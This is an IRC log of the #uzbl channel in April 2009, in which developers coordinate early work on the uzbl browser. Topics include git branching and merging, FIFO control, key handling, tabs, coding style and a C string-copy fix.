--- Log opened Sat Apr 25 12:39:49 2009
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12:43 < dusanx> hi :)
12:44 <@Dieterbe> hey dude
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12:44 -!- happydawn [n=dim@61-57.79-83.cust.bluewin.ch] has joined #uzbl
12:45 <@dusanx> yes, this is easier way to communicate
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12:45 < barrucadu> hi
12:45 <@dusanx> hi :)
12:46 <@Dieterbe> hi 
12:46 <@Dieterbe> lol this is crazy. i post to the forums and everyone joins in the same minute
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12:47 <@dusanx> well, this is what I wanted to do long time ago ;)
12:47 <@Dieterbe> okay, first of all. barrucadu can you make sure you don't change "irrelevant" things. for example the readme. please append to it, or change mine. don't delete all my contents from it
12:47 <@barrucadu> ok
12:47 <@Dieterbe> it makes it easier to merge
12:48 <@dusanx> Has anybody succesfully uset git before? It's mess I tell you lol
12:48 <@Dieterbe> i have somewhat experience with it :P
12:49 <@Dieterbe> in which timezones do you guys live? i'm from belgium
12:49 <@barrucadu> England
12:50 <@dusanx> D, when you try to merge my source it should be easy? Don't do it but I am curious.
12:50 <@dusanx> Since I have'nt changed much
12:51 <@dusanx> Serbia :)
12:51 <@Dieterbe> dusanx: i'll have a look
12:53 <@Dieterbe> barrucadu: i tried your code and it looks quite nice. however I don't want the statusbar to be editable with a mouse :P
12:55 <@Dieterbe> dusanx: yeah i think it would apply cleanly if i would merge
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12:55 <@barrucadu> Dieter: I've just coped all the plaintext files from you and appended my changes, so there won't be any more trivial changes from me :p
12:55 <@dusanx> great, I'll try to keep it that way
12:55 <@Dieterbe> great
12:56 <@Dieterbe> don't you see my repo/branches when you type 'git branch' or 'git remote' ?
12:56 <@dusanx> no
12:56 <@dusanx> and I did everything properly
12:56 <@Dieterbe> no problem. i'll help you
12:56 <@dusanx> only my master branch
12:56 <@barrucadu> I don't see it either :(
12:57 <@Dieterbe> first of all, clean up your current branch. remove tmp files, clean/commit changes etc, so that when you do 'git status' nothing is shown
12:57 <@Dieterbe> then, backup your directory
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12:58 <@dusanx> it's clean already
13:00 <@Dieterbe> k. then what i did is do the 3 commands in the last but 1 code block from http://github.com/guides/pull-requests
13:00 <@dusanx> git remote does not give me anything
13:00 <@Dieterbe> eg:  git remote add -f dieter   git://github.com/Dieterbe/uzbl.git
13:01 <@Dieterbe> then git checkout -b dieter/master
13:01 <@dusanx> I used git pull and push, is that the right way?
13:01 <@Dieterbe> git pull dieter master
13:01 <@dusanx> ok, trying
13:01 <@Dieterbe> then you should have a new branch called dieter/master. you can go to it by doing git checkout dieter/master
13:02 <@Dieterbe> and if you want to update it, type git pull dieter master
13:02 <@dusanx> ...be back in 30 minutes, have to drive my wife
13:02 <@Dieterbe> @dusanx> I used git pull and push, is that the right way? -> yea
13:03 <@dusanx> but I saved everything and will try when I come back
13:03 <@Dieterbe> barrucadu: do the above instructions work for you?
13:03 <@barrucadu> yes
13:04 <@barrucadu> thanks
13:04 <@Dieterbe> allright, just make sure when you type "git pull dieter master" you are actually in the dieter/master branch
13:05 <@Dieterbe> you can diff against your branch by doing "git diff master"
13:05 <@Dieterbe> and i don't know what happens if you try to commit things in my branch :P
13:05 <@barrucadu> :p
13:10 <@Dieterbe> i would like to get some sort of implementation plan that the 3 of us agree on, and then we can do a task list
13:10 <@Dieterbe> to organise things a bit
13:10 <@barrucadu> That would make things quite a bit more organised
13:10 <@barrucadu> Rather than the "I'll add this feature!" system we have now
13:11 <@Dieterbe> or "i already added it, but it works only half" ;)
13:11 <@barrucadu> I have a habit of doing that :p
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13:14 <@Dieterbe> did you see the keyboard interface proposal that combines vim-like with modifiers? do you like it? if so, the only issue there are the quantifiers which i see no real use for. but if you find it easy to implement, go ahead
13:16 <@barrucadu> I like modifier keys, so I like the idea. The quantifiers are easy to implement, but I removed them as nobody seemed to think them useful. It's not difficult to add them back in again though
13:17 <@Dieterbe> do you see a use case for them?
13:18 <@barrucadu> And, regarding tabbing, I think GtkSocket/GtkPlug is the way to go - if only for the "if one tab crashes, the rest are fine" benefit
13:18 <@barrucadu> Not really, but some use may emerge at some point. Then again, it may not :p
13:18 <@Dieterbe> okay, so for now let's just leave it out then
13:19 <@Dieterbe> btw you can pull again from my master, i just merged in all my changes from experimental :)
13:19 <@barrucadu> ok
13:20 <@Dieterbe> since you already copypasted in some stuff, that will make the diff between us smaller I think. at least in uzbl.c
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13:28 <@Dieterbe> hi sentientswitch :)
13:28 < sentientswitch> hi :)
13:28 <@Dieterbe> barrucadu: does the fifo work more or less okay?
13:29 <@barrucadu> I've noticed that sometimes my CPU usage jumps to around 28%, and disabling the FIFO stops that from happening.
13:30 < sentientswitch> my fork is pretty worthless, I'm probably going to nuke it from orbit
13:30 < sentientswitch> I'm learning some basic gtk stuff now
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13:35 <@dusanx> I am back
13:35 <@barrucadu> wb
13:35 <@dusanx> who does what?
13:35 <@Dieterbe> well, i'm looking at the fifo stuff now
13:36 <@Dieterbe> oh and i also added your action proposals (home, zoom etc) to the sample config
13:37 <@Dieterbe> i have the habit of already more or less documenting how something should be have, and then progamming it to make it work
13:37 <@dusanx> barr, latest key handling is simple and I have no experience with settings loading. do you want me to play with keys or you want to do it?
13:37 <@Dieterbe> so we can use the sample config as a guide
13:38 <@Dieterbe> pick what you prefer. fifo is pulling my attention now :)
13:39 <@dusanx> what is the fifo usage? I understand how but no why
13:39 <@barrucadu> dusan: I don't mind, which do you want to do?
13:40 <@Dieterbe> barrucadu: irc has tab completion btw :)
13:40 <@dusanx> something else since key handling requires two additional flags and you started settings loading
13:41 <@dusanx> you have mine initial key proc
13:42 <@dusanx> and modifier flags are already in that example
13:42 <@barrucadu> Dieterbe: so it does. Magic! :p
13:42 <@Dieterbe> dusanx: well, so you can change the behavior of the browser from any other application. so you can say "now load this" (eg a media player where you say you want to see the wikipage of an artist), or "reload page now" (eg when you're developing something, you could have a script that pushes code and when done, reloads your browser)
13:42 <@dusanx> I can see now, great
13:44 <@barrucadu> I'll continue working on settings loading and (if I have time) look at keys later
13:44 <@dusanx> I had somewhere list of all webkit signals, trying to find it now. we should cover most of them
13:44 <@dusanx> I'll take keys than without settings ;)
13:44 <@barrucadu> ok
13:46 <@Dieterbe> i think uzbl will be pretty uzbl soon :)
13:47 <@barrucadu> I can't help but read the name as "Us Be El" :p
13:47 <@barrucadu> I'll drill "usable" into my head sooner or later...
13:47 <@dusanx> works well for me as uzbl :)
13:48 <@Dieterbe> i'll be merging in some stuff that already works more or less, such as the fifo
13:48 <@Dieterbe> the smaller the differences are between each other, the better
13:49 <@Dieterbe> for easier merging etc
13:49 <@dusanx> I'll sync your latest code and than do keys
13:49 <@Dieterbe> yep. don't forget: first change branch, then pull dieter master
13:50 <@Dieterbe> (change branch to dieter/master)
13:50 <@Dieterbe> then checkout your own branch and merge dieter/master
13:50 <@dusanx> this: http://oe.linuxtogo.org/~zecke/webkit-gtk-api/webkitgtk-WebKitWebView.html
13:50 <@dusanx> look at the signals
13:50 <@Dieterbe> looking at them with uzbl :)
13:51 < sentientswitch> nice dusanx, was looking for smth like that
13:51 <@dusanx> I know I saw it somewhere
13:52 <@dusanx> You can call me dusan ;)
13:53 <@barrucadu> Hmm, I'm getting segfaults. Evidently my branch-merging skills need work :p
13:53 <@dusanx> dusanx is dusan using x, smart, ha?
13:53 < sentientswitch> you sir, are a genius
13:53 < sentientswitch> :)
13:54 <@Dieterbe> so you have to change nickname everytime you switch between X and tty? :P
13:54 <@Dieterbe> barrucadu: could it be that echoing r into the fifo doesn't work?
13:55 <@barrucadu> Dieterbe: not sure, I can't investigate currently as I've broken something <.>
13:56 <@dusanx> also this one, this is where I got key handling: http://library.gnome.org/devel/gdk/stable/gdk-Event-Structures.html#GdkEventKey
13:56 <@Dieterbe> barrucadu: np, i'll investigate
13:56 <@Dieterbe> and damn.. i cannot test "stop" the page loads always too fast
13:56 <@dusanx> lol
13:56 <@barrucadu> Dieterbe: pick a really big page :p
13:57 < sentientswitch> Dieterbe: I managed to use stop, it seems to work ok
13:57 <@dusanx> I have weirdest idea for external tabs
13:57 < sentientswitch> reload crashed for no discernable reason though
13:58 <@Dieterbe> dusanx: please tell us
13:59 <@dusanx> script that collects all uzbl windows classes and titles and then invokes dmenu and focuses desired window :)
13:59 <@dusanx> invoked on key from any uzbl of course...
14:00 <@Dieterbe> hm but then you can't move all windows at once
14:00 <@Dieterbe> i think that's the reason most people really want tabs
14:00 <@dusanx> how to move?
14:00 <@Dieterbe> so that your pages are bundled, and you can move them all at once to a different workspace/ tag
14:00 <@dusanx> that's true
14:01 <@Dieterbe> actually that's the reason i want to use tabs myself, but don't tell anyone :))
14:01 <@dusanx> hmm, I never moved browser to another workspace
14:01 <@dusanx> but I can see logic
14:02 <@Dieterbe> i think the gtkplug/socket thing looks nice. i want to experiment with that
14:02 <@dusanx> tabs are bunch of problems :(
14:03 <@barrucadu> I use StumpWM and just have one group used for nothing but browsing, hence why I don't want tabs :p
14:04 <@dusanx> same here, dwm with browser workspace. I can understand logic why to have them.
14:05 < sentientswitch> I still think that one process per tab is the way to go but since I've not contributed anything I'm going to keep my mouth shut ;)
14:06 <@dusanx> no, please -- as long as you don't want them we should listen to you :p
14:08 <@Dieterbe> :)
14:09 <@Dieterbe> i often need to see a browser and a terminal at the same time. for example when reading documentation and trying code at the same time
14:10 <@barrucadu> I just use two adjacent workspaces for that - I'm fairly rigid in what my workspaces are used for
14:10 <@dusanx> otoh (just discussing) it may be great to be able to leave few pages here and move few there
14:12 <@barrucadu> GtkSocket/GtkPlug with an attach/detach function would be the best solution - you could have as many tabbed pages as you wanted, in as many windows as you want
14:13 <@Dieterbe> that sounds a lot like "you can have as many windows in as many workspaces as you want" :)
14:14 <@barrucadu> Pretty much, yes :)
14:14 <@barrucadu> That'd keep the people (like me :P) who don't want tabs happy, while giving people who do want it an option to tab things, and steal Google Chrome's great advantage of one tab not crashing the whole browser :)
14:15 <@Dieterbe> i'm gonna be afk for 30min or so. need food :)
14:16 <@barrucadu> Has anyone noticed problems with scrolling in webkit? It doesn't seem as smooth as in Opera, and the CPU usage increases a couple of percent while scrolling
14:16 <@dusanx> hmm, not me
14:16 <@dusanx> everything is ultra-fast comared to xul
14:17 <@barrucadu> I recompiled libwebkit hoping that would solve it but I don't think it's made a difference
14:17 <@barrucadu> Uzbl also just vanished while scrolling - I wasn't running it from a terminal so I'm not sure what caused it to die though
14:17 <@dusanx> happens to me when I was segfaulting
14:18 <@dusanx> try from console
14:18 <@dusanx> something in latest code probably
14:19 <@barrucadu> Possibly, I had a couple of problems after I merged
14:19 <@dusanx> lol not me, I'll wait before mergeng ;)
14:20 <@dusanx> typos are due to me still learning colemak -> ignore them
14:21 <@barrucadu> I think I'll go through the code and fix all the warnings I'm getting. Then I'll continue with settings loading.
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14:32 <@barrucadu> Right, that's all warnings eliminated :D
14:32 < sentientswitch> :)
14:32 <@barrucadu> ...but it no longer runs :p
14:32 <@barrucadu> Something with the xwin variable...
14:32 < sentientswitch> warning: if you remove this warning your code will no longer execute.
14:33 <@barrucadu> Unfortunately it doesn't say that
14:33 <@barrucadu> It should :p
14:34 < sentientswitch> you should patch gcc
14:34 <@barrucadu> There could be an assistant. "Hello, it looks like you're about to delete a line of code..." :p
14:36 < sentientswitch> it could be an anthropomorphic paperclip!
14:36 < sentientswitch> genius!
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15:02 <@Dieterbe> back
15:02 <@barrucadu> wb
15:02 <@dusanx> think I am going to take a nap before coding :D
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15:03 <@dusanx> b has some problems after code merging
15:05 <@Dieterbe> barrucadu: did you commit and push your merged stuff?
15:06 <@barrucadu> Yes. I'm just doing a bit on loading values from the config file and then I'll push again
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15:08 <@Dieterbe> note that you can easily create extra branches. they are very lightweight in git
15:08 <@Dieterbe> so if you want to work on different features, you can do it in different branches. makes it also easier to merge in specific changes
15:08 <@Dieterbe> instead of all of them
15:08 <@Dieterbe> i'm now integrating your fifo stuff by hand 
15:09 <@barrucadu> ok
15:09 <@barrucadu> I was planning on trying to split up the code into multiple different files to solve just the same problem actually
15:09 <@Dieterbe> that's also a good idea
15:13 < sentientswitch> wow I made a gtk window with tabs, go me :P
15:13 <@dusanx> boo
15:13 < sentientswitch> now to figure out how to make it do something useful
15:15 <@dusanx> no tabs please, I can even accept _text_ buffers/status line but no gtk tabs
15:15 < sentientswitch> dusanx: I'm not adding it to uzbl
15:16 <@dusanx> you should see conkeror tabs I am using lol
15:16 < sentientswitch> I'm just making a tab wrapper for uzbl
15:16 < sentientswitch> so it's completely optional
15:16 <@dusanx> small black css squares 12 px high
15:20 <@barrucadu> Hmm, I seem to have a skill for creating segfaults :p
15:20 <@Dieterbe> and also for changing silly things :P
15:21 <@barrucadu> :p
15:22 <@Dieterbe> really, we should try to keep close to each others code, and only deviate when needed. and maybe stick to a different branch per new feature.
15:23 <@Dieterbe> and if you want to change really simple things (like the strncopy in log_history_cb), maybe also separate branches
15:25 <@Dieterbe> or at least simple patches (do the change, make patch, undo change, submit patch)
15:25 <@Dieterbe> hmm you don't need to undo even if it's very likely i'll apply the patch
15:26 <@dusanx> or just add few global variables you need and function or two, don't touch anything else
15:27 <@Dieterbe> yeah
15:39 <@Dieterbe> once i'm done fixing all issues from trying to merge barrucadu's fifo into my master, I suggest we try to make all our branches as similar to my master as possible, and make different branch for each different thing we want to experiment with
15:40 <@barrucadu> Ok
15:40 <@Dieterbe> and then, we can also discuss things like indenting style etc
15:40 <@barrucadu> My branch has a lot of inexplicable segfaulting, so I'll probably just clone yours again and begin work from scratch
15:40 <@dusanx> ok, I will do coding tonight
15:40 <@dusanx> oh, yes, style
15:41 <@dusanx> best thing would be for us to see who is oldest and use his style? :p
15:42 < sentientswitch> whatever the style is, tabs shouldn't be used ;)
15:46 < sentientswitch> :%s/\t/\ \ /g
15:49 <@Dieterbe> lol dusanx 
15:49 <@Dieterbe> i usually use tabs for indentation, spaces for alignment
15:50 <@dusanx> so, how old is everybody? (we can use body weight if you are too young) :p
15:51 < sentientswitch> :set shiftwidth=2
15:51 < sentientswitch> set cindent
15:51 < sentientswitch> set expandtab
15:52 < sentientswitch> I'm 21 but I don't get a vote :)
15:53 <@Dieterbe> 24
15:53 <@dusanx> 37, 108 kg :)
15:53 <@Dieterbe> barrucadu: who should i credit when comitting the fifo stuff? you.. others?
15:53 <@Dieterbe> dusanx: okay you beat me in all dimensions :P
15:53 <@barrucadu> I came up with the original code, and then HashBox rewrote it to work better
15:54 <@Dieterbe> k
15:58 <@Dieterbe> barrucadu: do we need the aliases and the commands? why not just use simple command names (without spaces), then we don't need aliases, no?
15:59 <@barrucadu> I thought about that earlier, I decided that half of the stuff I've added to my branch is actually fairly useless :p
15:59 <@Dieterbe> ok tell you what. barrucadu and dusanx , can you repeat the instructions i gave earlier, but now add my experimental branch instead of my master branch
16:00 <@Dieterbe> try to keep your branches as synced with my experimental as possible.  I just committed barrucadu's fifo stuff to it
16:00 <@dusanx> ok
16:00 <@barrucadu> ok
16:00 <@Dieterbe> in the process i also broke the fifo stuff a bit, so i'll see what i can find :)
16:01 <@dusanx> not sure if we should do experimental, master sounds better?
16:01 < sentientswitch> can we have all of the fifos in their own directory at some point?
16:01 <@Dieterbe> sentientswitch: what would be the use?
16:02 <@dusanx> b/c that way I might import some bugs I don't want?
16:02 < sentientswitch> Dieterbe: just so they don't clutter the place up, i.e. if you have multiple uzbl instances
16:05 <@Dieterbe> dusanx: well. it depends on what you want to do.. for example: if experimental has a bleeding edge configuration reading feature that may be buggy, and you are working on feature x that could really use that feature, then i would base my feature_x branch on my experimental
16:05 <@dusanx> ok
16:06 <@Dieterbe> dusanx: if you are working on a feature where you can perfectly work against my master, then sure go ahead
16:06 <@dusanx> not yet but I'll have one soon
16:07 <@barrucadu> I'm just going to delete my repo and re-fork yours. That'll probably be the easiest thing to do
16:09 <@Dieterbe> yeah maybe.  but maybe make a backup of your old stuff, you made quite some changes that probably should get integrated
16:11 <@barrucadu> Now. Let's discuss coding style
16:11 <@dusanx> ok
16:12 <@dusanx> I tend to compress code as much as I can
16:12 <@dusanx> a+b=c
16:12 <@dusanx> if () {
16:12 <@dusanx> } else {
16:12 <@dusanx> }
16:13 <@Dieterbe> i like that too
16:13 <@Dieterbe> except i would write a + b = c
16:13 <@dusanx> function defining you used is ok by me
16:14 <@barrucadu> I'm happy to use any style
16:15 <@dusanx> 4 spaces you used?
16:15 <@Dieterbe> mmz. i was thinking maybe i could just lookup the "official" gtk coding style and suggest that
16:15 <@Dieterbe> but then i found this: GNOME has a mix of coding styles, and we do not enforce any one of them. The most important thing is for the code to be consistent within a program or library - code with sloppy formatting is not acceptable, since it is hard to read.
16:15 <@Dieterbe> http://developer.gnome.org/doc/guides/programming-guidelines/code-style.html
16:16 <@Dieterbe> yeah 4
16:16 <@Dieterbe> so let's stick at 4 spaces indenting, braces like dusanx showed, but expressions should have spaces imo (a + b = c;)
16:17 <@barrucadu> ok
16:17 <@dusanx> hmm, with one line if's I usually use if() command;
16:17 <@dusanx> no next row
16:17 <@dusanx> fine by me
16:19 <@Dieterbe> i would keep the newline
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16:20 <@dusanx> ruins flow for me but no problem
16:20 <@Dieterbe> :) ouk
16:20 <@Dieterbe> ok
16:21 <@Dieterbe> hey rson 
16:21 < rson> yo
16:21 <@dusanx> tell me about title/statusbar text, what you want to see when status is turned on?
16:21 < rson> i'm heading out but i'm gonna hang out here to throw my two sense in every now and then ;)
16:21 <@Dieterbe> ok good
16:22 < rson> :)
16:23 <@Dieterbe> dusanx: well, i think all the things we should be able to see some way or another is: current url, title of page, and unless always_insert_mode == 1, i would also show the current mode, maybe as 1 letter (I or C for insert vs command)
16:25 <@dusanx> and in title bar while status is visible?
16:26 <@dusanx> + hover url also, tooltip is bad idea imo
16:26 <@Dieterbe> only "title - uzbl" i think
16:26 <@dusanx> ok
16:26 <@Dieterbe> what's wrong with tooltips?
16:26 <@dusanx> when status is hidden same goes to title?
16:27 < sentientswitch> well if you used tooltips then you could be overriding a tooltip set by the page
16:27 <@dusanx> they cover parts of the page and they are often user by page
16:27 <@dusanx> used
16:28 <@dusanx> it's bad to have them popup all the time
16:29 <@dusanx> + we need to dig deep into webkit to turn them on
16:30 <@Dieterbe> well, someone posted how he used f/F<some number> to visit a certain link
16:31 <@Dieterbe> i was thinking we could make an additional key, let's say 'g', so that when you would press g<number> it would show the tooltip on the appropriate link
16:31 <@dusanx> boo
16:31 <@Dieterbe> since you're eyes are pointed already at the link already, it seems silly to show it at the bottom of the screen
16:33 <@dusanx> since I already modified that code may be wise to add few flags and allow all combinations? I am willing to do that.
16:33 <@dusanx> bc I really like current hover thingy I did
16:36 <@Dieterbe> hm so in what state is your code now?
16:36 <@dusanx> same as on github
16:40 <@Dieterbe> ah hmm but you use things like GDK_Right
16:40 <@dusanx> that was used to map arrow, not needed
16:41 <@dusanx> I am thinking to clone your current code and add chaeges again
16:42 <@Dieterbe> i hope you mean "fork" on github, and then clone your copy on github
16:42 <@dusanx> if I add show-float or some switch there are two lines of code that will allow me to use uzbl :)
16:43 <@dusanx> so no harm done
16:43 <@dusanx> and we can add tooltip key when we figure out how
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16:46 <@Dieterbe> yeah we could make it configurable, whether to show the url in a tooltip or in the statusbar
16:46 <@dusanx> cool
16:46 <@dusanx> this is really important to me
16:47 <@dusanx> ok, how do I take your whole experimental branch and overwrite my code?
16:50 <@Dieterbe> well i always do that non-professionaly :) check out my experimental branch, copy all files (except .git), then checkout your branch again, remove evereything (except .git), and move in the files from me
16:50 <@dusanx> wow
16:50 <@dusanx> hope I can do it :)
16:57 <@dusanx> hmm, what about real arrows, F keys and so on? I don't need them, does anybody need them?
16:57 <@Dieterbe> huh?
16:57 <@Dieterbe> real arrows, f keys?
16:58 <@dusanx> yes, if somebody wants to use some of that keys to navigate?
16:58 <@dusanx> ignore them would be easiest :P
17:01 <@dusanx> brb
17:02 <@Dieterbe> well, if someone wants to use real arrow keys instead of vim-like keys, i think he sholud be able to
17:02 <@Dieterbe> but that's low prio for me :)
17:16 <@dusanx> me too :)
17:17 <@Dieterbe> i'm now cleaning up the code. using the callbacks for the actions received through the fifo
17:36 < lwi> hi dusanx, you added key-press support here ( http://bbs.archlinux.org/viewtopic.php?pid=541928#p541928 ) but it seems this breaks normal keybaord input to the webkit widget e.g. text input in google search box, any solution?
17:38 <@dusanx> get latest github code, should be fixed
17:39 < lwi> actually your github or the main git? is it already merged?
17:39 <@dusanx> not yet, get my git
17:39 < lwi> okay its return true
17:40 < lwi> no void but gboolean to return :D
17:40 < lwi> thx
17:40 <@dusanx> np
17:40 <@dusanx> replace whole func and it will work
17:40 <@dusanx> or take git
17:42 < lwi> i prefer my own code, i have some more keybindings so I have a switch() case
17:42 < lwi> anyway there is another issue -> handling xf86 keys
17:42 <@dusanx> lol
17:42 < lwi> atm i catch them via hardware_keycode
17:43 <@dusanx> that will not be ready too soon
17:43 <@dusanx> that will do
17:44 <@dusanx> but will not be soon in settings file
17:44 < lwi> yeah its a bit complicated, gdk keycode != x keycode
17:44 < lwi> so i am unable to just include the xf86 header file and use the keysym
17:44 <@dusanx> should probably work
17:45 <@dusanx> let me check
17:45 < lwi> thx
17:45 <@dusanx> use keyval instead: guint keyval; the key that was pressed or released. See the <gdk/gdkkeysyms.h> header file for a complete list of GDK key codes. 
17:46 <@dusanx> and you can use code
17:46 <@dusanx> out of curiosity: what key are you mapping to do what?
17:47 < lwi> gdk keysym does not include xf86 keysyms
17:47 < lwi> XF86Back
17:47 < lwi> i have a special key just for going one page back on my keyboard ;)
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17:49 <@dusanx> can you check it's code in xev and use hex value?
17:50 < lwi> state 0x0, keycode 234 (keysym 0x1008ff26, XF86Back), same_screen YES,
17:50 <@dusanx> keyval==0x1008ff26 should work
17:51 < lwi> as told atm im catching it via event->hardware_keycode == 234
17:51 < lwi> well i tried, but the hex value it bigger than gint16
17:51 < lwi> *is
17:51 <@dusanx> than hardw keycode it is...
17:55 <@Dieterbe> okay i must be a real C noob.. but since when can't you assign a * char to a char array? a char array is a char pointer, no?
17:56 <@dusanx> no
17:57 <@dusanx> char array is variable, not pointer
17:58 <@Dieterbe> hmm i'll have to do some reading i see :P
17:59 <@dusanx> you can assign char_pointer=&char_array[0] iirc
17:59 <@dusanx> but for otner direction you must use strcpy
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18:07 <@dusanx> Dieterbe: you know what? I will change my existing code, you will add changes to yours and then I will clone it. git gives me a creeps. ok?
18:08 <@Dieterbe> :)
18:09 <@dusanx> thanks :)
18:12 <@Dieterbe> what do you mean? want me to do something?
18:14 <@dusanx> no, I will update my code, push it to mu git and send you pull request
18:16 <@Dieterbe> k
18:35 <@Dieterbe> dusanx: i looked it up. http://www.lix.polytechnique.fr/~liberti/public/computing/prog/c/C/CONCEPT/pointers.html here they also say a char array == char pointer
18:36 <@dusanx> char[n] array?
18:36 <@Dieterbe> yes
18:36 <@dusanx> how did you defined char array exactly?
18:37 <@Dieterbe> what i do is this: commands[numcmds].signal = signal_name;
18:37 <@Dieterbe> with: char * signal_name
18:38 <@Dieterbe> and char signal[256];
18:38 <@dusanx> and commands definition?
18:39 <@dusanx> can you paste it here?
18:39 <@Dieterbe> struct command
18:39 <@Dieterbe> { char command[256]; char signal[256];
18:39 <@Dieterbe> }
18:40 <@Dieterbe> static struct command commands[256]
18:40 <@Dieterbe> (static in the global scope)
18:40 <@dusanx> just a sec
18:42 <@dusanx> do you get compiling error on that ].signal line above? does not look right
18:43 <@Dieterbe> uzbl.c: In function ‘add_command’:
18:43 <@Dieterbe> uzbl.c:219: error: incompatible types in assignment
18:43 <@Dieterbe> where 219 is the line that says "commands[numcmds].signal = signal_name;"
18:43 <@dusanx> b/c signal is not part of commands struct
18:43 <@dusanx> so you can't assign it
18:44 <@Dieterbe> but i've put "char signal[256];" in the struct?
18:44 <@dusanx> static struct command commands[256] ?
18:44 <@dusanx> oops
18:45 <@dusanx> sorry you did
18:45 <@dusanx> let me see
18:46 <@dusanx> signal_name is pointer to null terminated string?
18:46 <@dusanx> I mean what you keep there?
18:48 <@Dieterbe> okay, so the function key is: add_command (char* cmdstr, char * signal_name) {
18:48 <@Dieterbe> and i call it like: add_command("back",     "go_back");
18:48 <@dusanx> ok
18:48 <@dusanx> just a sec
18:49 <@dusanx> #include <string.h>
18:49 < lwi> anyone knows what at what kind of object the gpointer user_data shows? ( http://webkitgtk.org/reference/webkitgtk-WebKitWebView.html#WebKitWebView-icon-loaded )
18:49 <@Dieterbe> i have that dusanx 
18:49 <@dusanx> strcpy (where,what);
18:49 <@Dieterbe> dusanx: you know what, i'll make a branch for this attempt and push it
18:50 <@dusanx> so: strcpy(commands[numcmds].signal, signal_name);
18:50 <@Dieterbe> allright that works
18:50 <@Dieterbe> thanks
18:50 <@dusanx> can't assign, must copy str
18:50 <@dusanx> ;)
18:52 <@dusanx> we need no tabs lol. check forum, guy is using uzbl with mutt :D
18:52 <@Dieterbe> i don't know lwi sorry
18:52 <@Dieterbe> what does that have to do with tabs :P
18:53 <@dusanx> 'rome should be destroyed', repeated many times :P
18:53 <@dusanx> no, that was cartagina
18:54 <@dusanx> I was close
18:55 < lwi> it seems there is no possibility to get the favicon
18:57 <@dusanx> no, there is no webkit call for that
18:57 < lwi> :F
18:58 < lwi> strange, because we have icon-loaded callback
18:58 < lwi> this callback makes no sense without the icon
18:59 <@Dieterbe> AHA dusanx i made something cool, you will like this
18:59 <@dusanx> listening :)
18:59 <@Dieterbe> i wrote a patch for dmenu :D
18:59 <@Dieterbe> that adds a flag to set a default string
19:00 <@dusanx> nice :)
19:00 <@dusanx> we may try to push that upstream?
19:00 <@Dieterbe> yeah, i'm registering on their ML right now
19:01 <@dusanx> I am there for some time
19:02 < sentientswitch> any idea why gtk_main() would prevent printf from working? :P very odd
19:02 <@Dieterbe> because your app stays in gtk_main as long as it runs
19:03 < sentientswitch> yeah I know that, the strange thing is that printf's called before it won't run..
19:04 < sentientswitch> if I comment out gtk_main() then they print as normal
19:09 <@Dieterbe> hmm don't know
19:11 <@dusanx> D, what do you do with "back" "go_back" later?
19:13 <@Dieterbe> well i was trying to port barracuda's command struct to use signals instead of function pointers.  so it would trigger a signal instead calling a function directly.  the advantage being that you can attach multiple functions to a signel + we listen to signals already anyway, and you should be able to pass arguments to functions
19:13 <@Dieterbe> but now i noticed you can't just make up your own signal names :P
19:13 <@dusanx> great
19:14 <@dusanx> good idea
19:17 <@Dieterbe> yeah.. just to bad I can't make up my own signals :P
19:17 <@Dieterbe> well, maybe it's possible with gtk
19:17 <@Dieterbe> i'll investigate
19:17 <@dusanx> I have no idea, I am new to gtk
19:25 <@dusanx> D, can I suggest something?
19:27 <@Dieterbe> you sure can
19:28 <@dusanx> i would not use huge static arrays
19:28 <@dusanx> and function to fill them
19:29 <@dusanx> here is how to make them compact (dwm code):
19:29 <@dusanx> static GOptionEntry entries[] =
19:29 <@dusanx> { { "uri", 'u', 0, G_OPTION_ARG_STRING, &uri, "Uri to load", NULL }, { "verbose", 'v', 0, G_OPTION_ARG_NONE, &verbose, "Be verbose", NULL }, { NULL }
19:29 <@dusanx> wait, I'll paste line by line
19:29 <@dusanx> static GOptionEntry entries[] = 
19:30 <@dusanx> {          
19:30 <@dusanx>   { "uri", 'u', 0, G_OPTION_ARG_STRING, &uri, "Uri to load", NULL }, 
19:30 <@dusanx>   { "verbose", 'v', 0, G_OPTION_ARG_NONE, &verbose, "Be verbose", NULL }, 
19:30 <@dusanx>   { NULL }   
19:30 <@dusanx> }; 
19:30 <@dusanx> that's it
19:31 <@dusanx> very compact
19:31 <@Dieterbe> well, that's what we do now?
19:32 <@dusanx> no
19:32 <@dusanx> you have char[255]
19:32 <@dusanx> and add_command code
19:32 <@Dieterbe> :|
19:32 <@dusanx> they are both taking place
19:33 <@dusanx> see: they have array of arrays
19:34 <@Dieterbe> what you pasted is actually what is already in the code.  http://github.com/Dieterbe/uzbl/blob/a234f04195dcfccb7b052b560e8d6753ffcd866b/uzbl.c#L57
19:35 <@dusanx> lol great
19:35 <@dusanx> carry on!
19:36 <@dusanx> but you need same instead of static struct command commands[256];
19:36 <@Dieterbe> yeah, i'll do that
19:37 <@dusanx> ok
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19:42 < _19LIONZ> Hi , good luck with your project .
19:42 <@Dieterbe> thanks
19:43 < _19LIONZ> Dieterbe: Maybe you should set a topic for the channel .
19:43 <@Dieterbe> ah yes. maybe i should
19:43 -!- Dieterbe changed the topic of #uzbl to: I'm hungry -- uzbl is almost uzbl -- http://github.com/Dieterbe/uzbl
19:44 < _19LIONZ> Dieterbe: Explain what uzbl is (help with visibility :D)
19:45 <@Dieterbe> visibility?
19:47 < _19LIONZ> Dieterbe: people visiting the channel should know what uzbl is .
19:47 <@Dieterbe> right.
19:48 -!- Dieterbe changed the topic of #uzbl to: Uzbl is a browser that adheres to the unix philosophy.  Uzbl does only browsing -- I'm hungry -- uzbl is almost uzbl -- http://github.com/Dieterbe/uzbl
19:48 < _19LIONZ> Dieterbe: perfect :D
19:48 <@dusanx> I was bit rough on forum but it was a time :(
19:48 <@Dieterbe> i wonder what's wrong with that guy :)
19:49 <@Dieterbe> i just ignore him
19:49 <@dusanx> me too, oops
19:59 <@Dieterbe> rolf
19:59 <@Dieterbe> dusanx: the reply on the dwm list on my patch :P
20:00 <@dusanx> yes they are like that
20:00 <@dusanx> but he is not right
20:00 <@dusanx> I will answer
20:00 <@Dieterbe> no no
20:00 <@Dieterbe> he corrected himself :)
20:01 <@dusanx> lol you get email faster than I do
20:02 <@dusanx> I'll wait
20:02 <@dusanx> since I don't have it yet
20:03 <@Dieterbe> :D
20:03 <@dusanx> he is :D
20:04 <@dusanx> but he is great guy
20:05 <@Dieterbe> he sure made a good first impression :P
20:25 <@dusanx> I will probably go now and code tonight, should have keys ready tomorrow morning-ish
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20:55 <@Dieterbe> dusanx: 
20:55 <@Dieterbe> 19:29:58 <@dusanx> static GOptionEntry entries[] = 
20:55 <@Dieterbe> 19:30:06 <@dusanx> {          
